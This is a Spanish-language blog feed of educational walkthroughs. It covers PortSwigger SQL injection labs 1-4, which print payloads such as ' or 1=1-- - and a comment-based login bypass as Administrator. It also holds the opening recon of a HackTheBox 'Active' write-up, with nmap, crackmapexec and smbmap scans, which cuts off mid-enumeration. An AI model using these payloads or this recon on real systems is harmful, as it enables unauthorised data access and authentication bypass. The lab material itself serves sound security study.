En este laboratorio vamos a realizar una SQL Injection tipo Microsoft donde las querys que vamos a utilizar cambian. Pero el vector de ataque es prácticamente el mismo

Resolución

Vemos la web, observamos que son un grupo de artículos ...]]></description><link>https://varovish.hashnode.dev/lab4-sqli</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab4-sqli</guid><category><![CDATA[SQL]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[Burpsuite  ]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Tue, 31 Oct 2023 09:14:48 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698741598/Portswigger/Sqli/lab%2A4/lab4_oj0kzx.png" alt="lab4.png" /></p>
<hr />
<h1 id="heading-laboratorio-4">Laboratorio 4</h1>
<p>En este laboratorio vamos a realizar una <strong>SQL Injection</strong> tipo <strong>Microsoft</strong> donde las <strong>querys</strong> que vamos a utilizar cambian. Pero el vector de ataque es prácticamente el mismo</p>
<hr />
<h1 id="heading-resolucion">Resolución</h1>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698741873/Portswigger/Sqli/lab%2A4/web_taqgtr.png" alt="web.png" /></p>
<p>Vemos la <strong>web</strong>, observamos que son un grupo de <strong>artículos</strong> que podemos filtrar por <strong>categorías</strong>, vamos a pasarlo por burpsuite para analizarlo</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698742103/Portswigger/Sqli/lab%2A4/burp-web_mcrg0u.png" alt="burp-web.png" /></p>
<p>Vamos a intentar un <strong>Union attack</strong>, pero antes vamos a utilizar la <strong>query</strong>
<strong>order by</strong> para dar con la cantidad de columnas</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698742390/Portswigger/Sqli/lab%2A4/orderby-burp_xjdnsm.png" alt="orderby-burp.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698742527/Portswigger/Sqli/lab%2A4/error-web_byuijj.png" alt="web-error.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698742588/Portswigger/Sqli/lab%2A4/orderby-web_lo68aj.png" alt="orderby-web" /></p>
<p>Tiene dos <strong>columnas</strong>, por tanto, vamos a realizar el <strong>Union attack</strong> teniendo esto en cuenta</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698742835/Portswigger/Sqli/lab%2A4/union-attack-burp_vlfu6m.png" alt="union-attack-burp" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698742914/Portswigger/Sqli/lab%2A4/union-attack-web_yjczfp.png" alt="union-attack-web" /></p>
<blockquote>
<p>Obs: Como es <strong>MSQL</strong> (Microsoft SQL), no hay necesidad de mencionar una tabla, como lo hemos hecho en <strong>Oracle SQL</strong></p>
</blockquote>
<p>En este punto solo nos queda usar uno de los dos campos para representar la versión, les vuelvo a pasar la página donde pueden ver los tipos de query dependiendo del tipo y la versión (Link de la guía -&gt;  <a target="_blank" href="https://portswigger.net/web-security/sql-injection/cheat-sheet">Portswigger-guía</a>)</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698743300/Portswigger/Sqli/lab%2A4/query-final_xaotnt.png" alt="query-final.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698743310/Portswigger/Sqli/lab%2A4/version-sql_wmok5f.png" alt="Versión-sql" /></p>
<h1 id="heading-conclusion">Conclusión</h1>
<p>Con esto damos por terminado el 4 laboratorio, como siempre, cualquier duda o consulta tienen la sección de comentarios</p>
]]></content:encoded></item><item><title><![CDATA[Lab*3-Sqli]]></title><description><![CDATA[Laboratorio 3
En este laboratorio, vamos a ver varios temas interesantes. Primero que nada vamos a conocer sobre la estructura de una query, también vamos a ver que existen varios tipos de SQL, en este caso Oracle y para finalizar un UNION attack

Qu...]]></description><link>https://varovish.hashnode.dev/lab3-sqli</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab3-sqli</guid><category><![CDATA[SQL]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[Burpsuite  ]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Tue, 31 Oct 2023 08:33:38 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698234134/Portswigger/Sqli/lab%2A3/lab_eyrsg9.png" alt="lab3.png" /></p>
<hr />
<h1 id="heading-laboratorio-3">Laboratorio 3</h1>
<p>En este laboratorio, vamos a ver varios temas interesantes. Primero que nada vamos a conocer sobre la estructura de una <strong>query</strong>, también vamos a ver que existen varios tipos de <strong>SQL,</strong> en este caso <strong>Oracle</strong> y para finalizar un <strong>UNION attack</strong></p>
<hr />
<h1 id="heading-query-sql">Query SQL</h1>
<p>Vamos a realizar un inciso antes de continuar con el <strong>laboratorio</strong>. Es importante conocer como funciona una <strong>query SQL</strong>(Structured Query Language)</p>
<p>Una <strong>query</strong> puede contar con 4 campos relevantes que serían "Base de datos, Tablas, Columnas y datos"</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698236475/Portswigger/Sqli/lab%2A3/Query-Sql_ajwhjy.png" alt="Query-sql.png" /></p>
<p>Esto quiere decir que a la hora de extraer información, necesitamos conocer estos campos. Más adelante (en laboratorios futuros) vamos a conocer <strong>querys</strong> para poder extraer esta información</p>
<hr />
<h1 id="heading-resolucion">Resolución</h1>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698234602/Portswigger/Sqli/lab%2A3/web-lab_soekxw.png" alt="web-lab.png" /></p>
<p>En este laboratorio cambia un poco la página, pero la función es la misma. Algunos artículos que podemos filtrar por categorías nada raro.</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698234748/Portswigger/Sqli/lab%2A3/category-web_g7osnv.png" alt="web-category" /></p>
<p>Vamos a pasarlo por burpsuite para analizarlo con detenimiento</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698234902/Portswigger/Sqli/lab%2A3/burp-category_htrn1h.png" alt="burp-category.png" /></p>
<p>Antes de empezar necesitamos conocer los distintos tipos de <strong>SQL</strong>, porque la <strong>query</strong> cambia dependiendo de esto. Les dejo un link donde pueden ver las distintas <strong>querys</strong> dependiendo del tipo de <strong>SQL</strong> (Link de la guia -&gt; <a target="_blank" href="https://portswigger.net/web-security/sql-injection/cheat-sheet">portsiwger-sql</a>)</p>
<p>En este caso vamos a efectuar un <strong>UNION attack</strong>, este tipo de ataque lo que buscar es acertar en la cantidad de <strong>columnas</strong> en una <strong>tabla</strong>. El problema con esto es que cuando la web es vulnerable a este ataque, suele mostrar <strong>campos</strong> que luego podemos aprovechar, para luego nosotros representar en esos campos para representar datos</p>
<p>En este caso la web es vulnerable de nuevo en el filtrado, por tanto, necesitamos saber las columnas. Aunque desconozcamos esto, podemos realizar <strong>fuerza bruta</strong>, ya que la web suele representar campos cuando acertamos con la cantidad exacta de <strong>columnas</strong>(no siempre suele representar estos campos en la web, esto lo veremos en futuros laboratorios)</p>
<p>En este caso podemos usar otra <strong>query</strong>, para poder dar con el número de <strong>columnas</strong>, podemos hacer un "<strong>order by</strong>". Esto lo que ocasiona es un ordenamiento por el número de columnas que ingresemos</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698405230/Portswigger/Sqli/lab%2A3/error-order_nff9ad.png" alt="orderby-burp.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698404995/Portswigger/Sqli/lab%2A3/error-order_a5wo1b.png" alt="error-web.png" /></p>
<p>Cómo se puede observar, no existe la <strong>columna</strong> número 100, si vamos reduciendo el número gradualmente, vamos a dar con el número de columnas</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698405317/Portswigger/Sqli/lab%2A3/order-web_ibuqxp.png" alt="orderby2.png" /></p>
<p>Ahora podemos realizar el <strong>unión attack</strong>, pero en las <strong>SQL</strong> que son tipo <strong>Oracle</strong>. Hay que mencionar una tabla, de lo contrario nos dará un error. Una <strong>tabla</strong> típica suele ser <strong>dual</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698405960/Portswigger/Sqli/lab%2A3/union-attack-web_shuuad.png" alt="union-select-burp.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698406546/Portswigger/Sqli/lab%2A3/union-final_btx57u.png" alt="union-select-web.png" /></p>
<p>Ahora solo queda utilizar un campo <strong>NULL</strong> para representar la versión y terminaríamos el laboratorio, para representar la versión en <strong>Oracle</strong> pueden mirar la guía que les compartí</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698406895/Portswigger/Sqli/lab%2A3/final-query_r6izu2.png" alt="query-final.png" /></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698406856/Portswigger/Sqli/lab%2A3/version-osql_dnjtha.png" alt="version-web.png" /></p>
<h1 id="heading-conclusion">Conclusión</h1>
<p>Damos como finalizado este 3 <strong>laboratorio</strong>, ya saben que cualquier duda tienen la sección de comentarios </p>
]]></content:encoded></item><item><title><![CDATA[Lab*2-Sqli]]></title><description><![CDATA[Laboratorio 2
Vamos a seguir con esta serie, realizando el segundo laboratorio. Donde esta vez vamos a lograr un bypass sobre un panel de autenticación como el usuario administrator

Resolución

Tenemos la misma página que el laboratorio anterior, pe...]]></description><link>https://varovish.hashnode.dev/lab2-sqli</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab2-sqli</guid><category><![CDATA[#sqlinjection]]></category><category><![CDATA[portswigger]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Wed, 25 Oct 2023 10:29:59 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698227504/Portswigger/Sqli/lab%2A2/sql-lab2_nasj9s.png" alt="Sqli-lab2.png" /></p>
<hr />
<h1 id="heading-laboratorio-2">Laboratorio 2</h1>
<p>Vamos a seguir con esta serie, realizando el segundo laboratorio. Donde esta vez vamos a lograr un <strong>bypass</strong> sobre un panel de autenticación como el usuario <strong>administrator</strong></p>
<hr />
<h1 id="heading-resolucion">Resolución</h1>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698227881/Portswigger/Sqli/lab%2A2/sqli-web_eoyk6a.png" alt="sqli-web.png" /></p>
<p>Tenemos la misma página que el laboratorio anterior, pero esta vez la <strong>vulnerabilidad</strong> se encuentra en el panel de inicio de sección.
Si le damos click en <strong>My account</strong> nos lleva al panel</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698228028/Portswigger/Sqli/lab%2A2/web-login_hdwao4.png" alt="web-login" /></p>
<p>En este caso, nos pide un <strong>username</strong> y su <strong>Password</strong>. En la imagen no nos muestra como es la <strong>query</strong> se está utilizando para validar estas credenciales, pero seguro es algo así</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-string">'username'</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">user</span> <span class="hljs-keyword">WHERE</span>  <span class="hljs-keyword">password</span> = <span class="hljs-string">'password'</span>
</code></pre>
<p>En este caso nuestro 'username' es <strong>Administrator</strong>, pero no sabemos su <strong>password</strong>, en este caso podemos abusar de esta query. Introduciendo como 'username', "<strong>Administrator' -- -</strong>"</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-string">'Administrator'</span><span class="hljs-comment">-- -' from user WHERE  password = 'password'</span>
</code></pre>
<p>Como se puede apreciar, esto va a comentar toda la query que sigue. Esto o que va a acontecer es que no realice la validación de <strong>password</strong>. Y lograremos ingresar como el usuario <strong>Administrator</strong>, sin ingresar su <strong>password</strong></p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698229044/Portswigger/Sqli/lab%2A2/bypass-panel_by6aco.png" alt="bypass-web.png" /></p>
<blockquote>
<p>Obs: Se a ingresado una <strong>password</strong> cualquiera ya que la pagina la requeria, pero no importa cual ingrese. El ataque se acontese de igual manera</p>
</blockquote>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698229251/Portswigger/Sqli/lab%2A2/login-web_qfotvm.png" alt="login-web.png" /></p>
<p>Y como se puede apreciar, nos aparece un <strong>Log out</strong> y también "Your username is: administrator". Por tanto, logramos ingresar como <strong>Administrator</strong> sin ingresar su <strong>password</strong></p>
<hr />
<h1 id="heading-conclusion">Conclusión</h1>
<p>Logramos realizar un <strong>bypass</strong> de un panel de autenticación, un ejemplo importante para tener una idea de cuando probar una <strong>SQL Injection</strong> uno tiene que probar de todo. Ya saben cualquier duda, tienen los comentarios</p>
]]></content:encoded></item><item><title><![CDATA[Lab*1-Sqli]]></title><description><![CDATA[Laboratorio 1
En este caso vamos a ver el primer laboratorio de SQL Injection de la página de portswiger, en este caso vamos a poder utilizar una query especialmente diseñada. Para poder ver más información de lo habitual

Resolución

En este caso, l...]]></description><link>https://varovish.hashnode.dev/lab1-sqli</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab1-sqli</guid><category><![CDATA[SQLi]]></category><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[portswigger]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Tue, 24 Oct 2023 13:04:09 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698148945/Portswigger/Sqli/lab%2A1/primer-lab_rpykso.png" alt="sqli-lab*1.png" /></p>
<hr />
<h1 id="heading-laboratorio-1">Laboratorio 1</h1>
<p>En este caso vamos a ver el primer laboratorio de <strong>SQL Injection</strong> de la página de <strong>portswiger</strong>, en este caso vamos a poder utilizar una query especialmente diseñada. Para poder ver más información de lo habitual</p>
<hr />
<h1 id="heading-resolucion">Resolución</h1>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698149196/Portswigger/Sqli/lab%2A1/web-lab-1_hytzzb.png" alt="web-lab-1.png" /></p>
<p>En este caso, la página tiene un listado de imágenes, como una tienda online. Donde podemos comprar una variedad de cosas. Como observamos en la descripción del laboratorio. Este tiene la vulnerabilidad en el filtrado por categorías vamos a revisarlo</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698149388/Portswigger/Sqli/lab%2A1/filtrado-web_vwiff3.png" alt="filtrado-web.png" /></p>
<p>En este caso, se aplica un filtrado por la categoría <strong>Accessories</strong> y solo vemos 3 artículos, vamos a interceptar esto con burpsuite para poder analizarlo</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698149590/Portswigger/Sqli/lab%2A1/burpsuite-intercept_aatn5n.png" alt="intercept.png" /></p>
<blockquote>
<p>Obs:No es necesario utilizar Burpsuite en este laboratorio, pero para explicarlo mas facil lo vamos a utilizar</p>
</blockquote>
<p>Vemos como se realiza el filtrado, en este caso el laboratorio nos muestra que la <strong>query</strong> que se está utilizando es algo así:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> products <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">category</span> = <span class="hljs-string">'Gifts'</span> <span class="hljs-keyword">AND</span> released = <span class="hljs-number">1</span>
</code></pre>
<p>Donde <strong>Gifts</strong> sería la categoría en cuestión, en nuestro caso <strong>Accesories</strong>.
Nos podemos aprovechar de esto de la siguiente manera, nuestro <strong>input</strong> va en el lugar de <strong>Gifts</strong>. Entonces sí, ponemos una comilla simple <strong>'</strong>, luego de la categoría. La query queda algo así</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> products <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">category</span> = <span class="hljs-string">'Accesories'' AND released = 1</span>
</code></pre>
<p>Esto provoca un error, debido a que queda una comilla simple suelta. En estos casos se suele comentar el resto de la query para que no mar que ningún error, para comentar en SQL se utiliza "-- -" o "--" (Existen otras formas, pero vamos a utilizar estar por el momento)</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> products <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">category</span> = <span class="hljs-string">'Accesories'</span><span class="hljs-comment">-- -' AND released = 1</span>
</code></pre>
<p>Esto quiere decir que luego del "-- -" no se va a interpretar nada y esto causa lo siguiente</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698150271/Portswigger/Sqli/lab%2A1/query-web_mnmz3b.png" alt="query-web" /></p>
<blockquote>
<p>Obs:El "+" es el espacio pero ulrencodeado, puedes selecciona todo el texto y darle click derecho y urlencodear o utlizar la combinacion de teclas ctrl + u</p>
</blockquote>
<p>Esta sería la primera parte, la segunda parte sería la de representar más datos de lo normal. Para esto agregamos a nuestra query lo siguiente "<strong>Accesorioes' or 1=1-- -</strong>". Como se puede observar agregamos un "<strong>or 1=1</strong>" antes de comentar la query, esto lo único que hace es dar un valor "<strong>TRUE</strong>" o <strong>verdadero</strong>. En resumen, nuestra query dice que, filtre por la categoría <strong>Accesories</strong> o <strong>1=1</strong> como esto último es verdadero, nos va a representar toda la información, ignorando las categorías y el filtro de "released = 1". La query final sería la siguiente</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> products <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">category</span> = <span class="hljs-string">'Accesories'</span><span class="hljs-keyword">or</span> <span class="hljs-number">1</span>=<span class="hljs-number">1</span><span class="hljs-comment">-- -' AND released = 1</span>
</code></pre>
<p>Colocamos esto en la página y vemos los resultados</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698151989/Portswigger/Sqli/lab%2A1/query-final_hkos2r.png" alt="query-final.png" /></p>
<blockquote>
<p>Obs: Ahora pongo la query en la pagina para que se observe mejor la diferencia, pero no tiene niguna diferencia si lo realizamos dede burpsuite</p>
</blockquote>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1698152110/Portswigger/Sqli/lab%2A1/web-final_sqfb0p.png" alt="web-final.pgn" /></p>
<p>Como se puede observar, nos muestra más resultados incluso que antes, también nos sale un eslogan de "Laboratorio resuelto"</p>
<hr />
<h1 id="heading-conclusion">Conclusión</h1>
<p>Esto sería el final del primer laboratorio de <strong>portswigger</strong> sobre <strong>SQL Injection</strong>, cualquier consulta sobre como utilizar burpsuite o como acceder a los laboratorios, los pueden poner en los comentarios</p>
]]></content:encoded></item><item><title><![CDATA[Sql Injection]]></title><description><![CDATA[Introducción
En esta sección vamos a ver que es una SQL Injection y los tipos que existen, vamos a realizar los laboratorios que se encuentran en portswigger. Esta página se centra en el OWASP, vamos a ir por cada sección explicando cada vector de at...]]></description><link>https://varovish.hashnode.dev/sql-injection-introduccion</link><guid isPermaLink="true">https://varovish.hashnode.dev/sql-injection-introduccion</guid><category><![CDATA[SQL]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[Burpsuite  ]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Tue, 24 Oct 2023 10:46:06 GMT</pubDate><content:encoded><![CDATA[<hr />
<h1 id="heading-introduccion">Introducción</h1>
<p>En esta sección vamos a ver que es una <strong>SQL Injection</strong> y los tipos que existen, vamos a realizar los laboratorios que se encuentran en portswigger. Esta página se centra en el <strong>OWASP</strong>, vamos a ir por cada sección explicando cada vector de ataque. Para esto vamos a utilizar la herramienta <strong>Burpsuite</strong>.</p>
<hr />
<h1 id="heading-vector-de-ataque">Vector de ataque</h1>
<p>Normalmente, este tipo de ataque ocurre cuando se confía en el <strong>input</strong> del usuario, esto permite que podamos cargar ciertas <strong>querys</strong> especialmente diseñadas para poder tener acceso a información que normalmente no podríamos tenerlo, manipular archivos, eludir paneles de autenticación, etc. Entre otros casos.</p>
<hr />
<h1 id="heading-conclusion">Conclusión</h1>
<p>Por tanto, es importante conocer este ataque y como emplearlo. También como utilizar <strong>burpsuite</strong>. En ciertas clases vamos a necesitar crear algunos <strong>scripts</strong> para poder automatizar ciertos ataques. Normalmente, esto se hace en python/bash.</p>
]]></content:encoded></item><item><title><![CDATA[Active-Writeup]]></title><description><![CDATA[Skills
- Smb enumeration

- Gpp-decrypt - AES key windows

- Kerberoasting attack - user Administrator

- Psexec - Connect as user Administrator

Reconocimiento
Vamos a realizar la maquina Active de hackthebox. Por tanto vamos a crear los directorios...]]></description><link>https://varovish.hashnode.dev/active-writeup</link><guid isPermaLink="true">https://varovish.hashnode.dev/active-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[Windows]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[kerberoasting]]></category><category><![CDATA[gpp-decryp]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Fri, 11 Aug 2023 09:57:18 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1691574651/htb/Active/Active_oyshoo.png" alt="Active.png" /></p>
<hr />
<h1 id="heading-skills">Skills</h1>
<pre><code>- Smb enumeration

- Gpp-decrypt - AES key windows

- Kerberoasting attack - user Administrator

- Psexec - Connect <span class="hljs-keyword">as</span> user Administrator
</code></pre><hr />
<h1 id="heading-reconocimiento">Reconocimiento</h1>
<p>Vamos a realizar la maquina <strong>Active</strong> de hackthebox. Por tanto vamos a crear los directorios para organizar la información</p>
<pre><code class="lang-bash">$ mkdir Active-10.10.10.100
$ <span class="hljs-built_in">cd</span> Active-10.10.10.100
$ mkdir nmap exploit content
</code></pre>
<p>Luego vamos a realizar un escaneo con <strong>nmap</strong> para ver que puertos estan abiertos en la maquina victima</p>
<pre><code class="lang-bash">$ namp -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
</code></pre>
<p>Yo lo exporto en formato <strong>grepeable</strong> por que tengo una función llamada <a target="_blank" href="https://pastebin.com/tYpwpauW">extractPorts</a> -&gt; (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)</p>
<pre><code class="lang-bash">$ extractPorts allPorts
</code></pre>
<pre><code>[*] Extracting information...

    [*] IP Address: <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.100</span>
    [*] Open ports: <span class="hljs-number">53</span>,<span class="hljs-number">88</span>,<span class="hljs-number">135</span>,<span class="hljs-number">139</span>,<span class="hljs-number">389</span>,<span class="hljs-number">445</span>,<span class="hljs-number">464</span>,<span class="hljs-number">593</span>,<span class="hljs-number">636</span>,<span class="hljs-number">3268</span>,<span class="hljs-number">3269</span>,<span class="hljs-number">5722</span>,<span class="hljs-number">9389</span>,<span class="hljs-number">47001</span>,<span class="hljs-number">49152</span>,<span class="hljs-number">49153</span>,<span class="hljs-number">49154</span>,<span class="hljs-number">49155</span>,<span class="hljs-number">49157</span>,<span class="hljs-number">49158</span>,<span class="hljs-number">49165</span>,<span class="hljs-number">49171</span>,<span class="hljs-number">49172</span>

[*] Ports copied to clipboard
</code></pre><p>Vemos varios puertos, vamos a realizar un escaneo mas minucioso sobre estos puertos</p>
<pre><code class="lang-bash">$ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49171,49172 10.10.10.100 -oN targeted
</code></pre>
<pre><code class="lang-python"><span class="hljs-comment"># Nmap 7.93 scan initiated  as: nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49171,49172 -oN targeted 10.10.10.100</span>
Nmap scan report <span class="hljs-keyword">for</span> <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.100</span>
Host <span class="hljs-keyword">is</span> up (<span class="hljs-number">0.18</span>s latency).

PORT      STATE SERVICE       VERSION
<span class="hljs-number">53</span>/tcp    open  domain        Microsoft DNS <span class="hljs-number">6.1</span><span class="hljs-number">.7601</span> (<span class="hljs-number">1</span>DB15D39) (Windows Server <span class="hljs-number">2008</span> R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS <span class="hljs-number">6.1</span><span class="hljs-number">.7601</span> (<span class="hljs-number">1</span>DB15D39)
<span class="hljs-number">88</span>/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: <span class="hljs-number">2023</span><span class="hljs-number">-08</span><span class="hljs-number">-09</span> <span class="hljs-number">09</span>:<span class="hljs-number">59</span>:<span class="hljs-number">28</span>Z)
<span class="hljs-number">135</span>/tcp   open  msrpc         Microsoft Windows RPC
<span class="hljs-number">139</span>/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
<span class="hljs-number">389</span>/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
<span class="hljs-number">445</span>/tcp   open  microsoft-ds?
<span class="hljs-number">464</span>/tcp   open  kpasswd5?
<span class="hljs-number">593</span>/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP <span class="hljs-number">1.0</span>
<span class="hljs-number">636</span>/tcp   open  tcpwrapped
<span class="hljs-number">3268</span>/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
<span class="hljs-number">3269</span>/tcp  open  tcpwrapped
<span class="hljs-number">5722</span>/tcp  open  msrpc         Microsoft Windows RPC
<span class="hljs-number">9389</span>/tcp  open  mc-nmf        .NET Message Framing
<span class="hljs-number">47001</span>/tcp open  http          Microsoft HTTPAPI httpd <span class="hljs-number">2.0</span> (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/<span class="hljs-number">2.0</span>
|_http-title: Not Found
<span class="hljs-number">49152</span>/tcp open  msrpc         Microsoft Windows RPC
<span class="hljs-number">49153</span>/tcp open  msrpc         Microsoft Windows RPC
<span class="hljs-number">49154</span>/tcp open  msrpc         Microsoft Windows RPC
<span class="hljs-number">49155</span>/tcp open  msrpc         Microsoft Windows RPC
<span class="hljs-number">49157</span>/tcp open  ncacn_http    Microsoft Windows RPC over HTTP <span class="hljs-number">1.0</span>
<span class="hljs-number">49158</span>/tcp open  msrpc         Microsoft Windows RPC
<span class="hljs-number">49165</span>/tcp open  msrpc         Microsoft Windows RPC
<span class="hljs-number">49171</span>/tcp open  msrpc         Microsoft Windows RPC
<span class="hljs-number">49172</span>/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: <span class="hljs-number">4</span>h00m08s
| smb2-security-mode: 
|   <span class="hljs-number">210</span>: 
|_    Message signing enabled <span class="hljs-keyword">and</span> required
| smb2-time: 
|   date: <span class="hljs-number">2023</span><span class="hljs-number">-08</span><span class="hljs-number">-09</span>T10:<span class="hljs-number">00</span>:<span class="hljs-number">27</span>
|_  start_date: <span class="hljs-number">2023</span><span class="hljs-number">-08</span><span class="hljs-number">-09</span>T05:<span class="hljs-number">36</span>:<span class="hljs-number">33</span>

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</code></pre>
<p>Vamos a empezar lanzando un <strong>crackmapexec</strong> para realizar un escaneo por <strong>smb</strong>/<strong>445</strong></p>
<pre><code>$ crackmapexec smb <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.100</span>
</code></pre><pre><code>SMB         <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.100</span>    <span class="hljs-number">445</span>    DC               [*] Windows <span class="hljs-number">6.1</span> Build <span class="hljs-number">7601</span> x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
</code></pre><p>Vemos un dominio <strong>active.htb</strong>, vamos agregarlo al "/etc/hosts".</p>
<pre><code class="lang-bash">$ cat /etc/hosts
</code></pre>
<pre><code># Host addresses
<span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>  localhost
<span class="hljs-number">127.0</span><span class="hljs-number">.1</span><span class="hljs-number">.1</span>  parrot
::<span class="hljs-number">1</span>        localhost ip6-localhost ip6-loopback
<span class="hljs-attr">ff02</span>::<span class="hljs-number">1</span>    ip6-allnodes
<span class="hljs-attr">ff02</span>::<span class="hljs-number">2</span>    ip6-allrouters
# Others

<span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.100</span> active.htb
</code></pre><p>Vamos a ver si hay archivos compartidos por el servicio <strong>smb</strong></p>
<pre><code class="lang-bash">$ smbmap -H 10.10.10.100
</code></pre>
<pre><code>[+] IP: <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.100</span>:<span class="hljs-number">445</span>    Name: active.htb                                        
    Disk                                                      Permissions    Comment
    ----                                                      -----------    -------
    ADMIN$                                                NO ACCESS    Remote Admin
    C$                                                    NO ACCESS    Default share
    IPC$                                                  NO ACCESS    Remote IPC
    NETLOGON                                              NO ACCESS    Logon server share 
    Replication                                           READ ONLY    
    SYSVOL                                                NO ACCESS    Logon server share 
    Users                                                 NO ACCESS
</code></pre><p>Tenemos permisos de lectura sobre <strong>Replication</strong>, vamos a revisar que tiene de contenido </p>
<pre><code>$ smbmap -H <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.100</span> -r Replication
</code></pre><pre><code>[+] IP: <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.100</span>:<span class="hljs-number">445</span>    Name: active.htb                                        
    Disk                                                      Permissions    Comment
    ----                                                      -----------    -------
    Replication                                           READ ONLY    
    .\Replication\*
